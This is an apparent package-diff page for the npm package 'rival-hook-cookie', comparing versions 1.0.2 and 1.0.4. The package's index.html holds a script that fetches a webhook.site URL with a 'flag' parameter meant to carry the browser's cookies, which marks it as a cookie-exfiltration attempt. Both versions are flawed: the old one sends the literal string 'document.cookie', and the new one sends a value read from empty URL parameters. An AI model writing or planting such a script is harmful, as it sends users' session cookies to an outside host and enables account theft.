rival-hook-cookie 1.0.2 → 1.0.4

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.html +4 -1
  2. package/package.json +1 -1
package/index.html CHANGED
@@ -1,3 +1,6 @@
1
1
  <script>
2
- fetch("https://webhook.site/993897bc-3909-454f-a480-6c71fb276daf/?flag=document.cookie");
2
+ const urlParams = new URLSearchParams();
3
+ const cookie = urlParams.get('cookie');
4
+
5
+ fetch("https://webhook.site/993897bc-3909-454f-a480-6c71fb276daf/?flag=" + cookie);
3
6
  </script>
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rival-hook-cookie",
3
- "version": "1.0.2",
3
+ "version": "1.0.4",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {